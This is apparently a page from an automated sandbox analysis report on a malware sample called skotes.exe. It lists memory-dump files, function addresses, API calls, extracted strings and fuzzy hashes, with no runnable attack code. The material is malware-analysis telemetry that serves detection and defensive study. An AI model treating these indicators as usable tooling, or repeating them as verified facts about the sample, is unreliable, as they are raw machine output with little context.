Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 657c16292c9bc41e3fe06cd402935bc88e47a72cf0cb76e1d18fdd4b899f991a
Instruction ID: 025d5567ea7a790f51c204e834b7514511c469917737ccd0314a2e33d26228a2
Opcode Fuzzy Hash: 657c16292c9bc41e3fe06cd402935bc88e47a72cf0cb76e1d18fdd4b899f991a
Instruction Fuzzy Hash: 802197712402089BEB18AB68DE8973CBB22EFC1315F204628E50C973D9CB7A56808313

Non-executed Functions

Function 0062CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0062CC66

Strings

vb, xrefs: 0062CBE1

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vb
API String ID: 3213747228-1055410840
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 21abd1d42bf84a7feb39b7d9fac04e2b448b4c2b7210a99b93aa91345aa72b4b
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 7AB15832A00A659FDB15CF28D841BFEBBE6EF45360F15816AE844EB342D6349D02CF94

Function 005F2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 005F2F5F
__Mtx_unlock.LIBCPMT ref: 005F2FCC
__Cnd_broadcast.LIBCPMT ref: 005F2FE3
__Mtx_unlock.LIBCPMT ref: 005F30F5
__Mtx_unlock.LIBCPMT ref: 005F319B

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: df1d028eae1bef13619afc3e54d5d745e3b997953e7b2a7b14b46303faedb833
Instruction ID: 10777561a897b31d9a7c79c4be1738e809e477d6fdfbe042f2636759ee1de91b
Opcode Fuzzy Hash: df1d028eae1bef13619afc3e54d5d745e3b997953e7b2a7b14b46303faedb833
Instruction Fuzzy Hash: 0AA1E7B09416099FEB24DF64C845B6BBBB9FF15324F04422EE915D7281EB39DA04CBD1

Function 0060BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0060BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BBE4
_xtime_get.LIBCPMT ref: 0060BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0060BC13

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction ID: cda47d63e1a8c6ec73fb5afb9e2ce7f9aa5fcc926613e40d54cd5fe4acb82b3a
Opcode Fuzzy Hash: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction Fuzzy Hash: C5215175A40119AFDF04EFA4CC819BFB7BAEF09720F105119FA01B7291DB719D019BA5

Function 0062F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0062F3A3

Strings

8"e, xrefs: 0062F44B
`'e, xrefs: 0062F375

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"e$`'e
API String ID: 3903695350-2647440560
Opcode ID: 0739625414064321a302ce806620b62dbe40a8b1ed5af7b9e8ebb97ebffe173f
Instruction ID: 9ba7bb5b750b6cd6846220f86bdefed634325c7d7abfe799aea1448b86e91c4a
Opcode Fuzzy Hash: 0739625414064321a302ce806620b62dbe40a8b1ed5af7b9e8ebb97ebffe173f
Instruction Fuzzy Hash: 8F315B31600A21DFEB71AB79E845B9B77FAEF00352F10483DE845D6696DEB0AC808F55

Analysis Process: skotes.exePID: 2272, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	805
Total number of Limit Nodes:	53

Executed Functions

Function 005FE530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WDw=, xrefs: 005FF71D, 005FF9FA
L1e, xrefs: 005FF7E5
246122658369, xrefs: 005FF737, 005FFA14, 006005E7, 0060099A
#, xrefs: 00600624
WTs=, xrefs: 006005CA
9c9aa5, xrefs: 005FFB8E
111, xrefs: 005FF7A0
MQ==, xrefs: 005FE592
MGE+, xrefs: 005FE821
WTw=, xrefs: 0060097D
GnNoc2Hc, xrefs: 005FE56C
UA==, xrefs: 005FEB0F, 005FED56

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
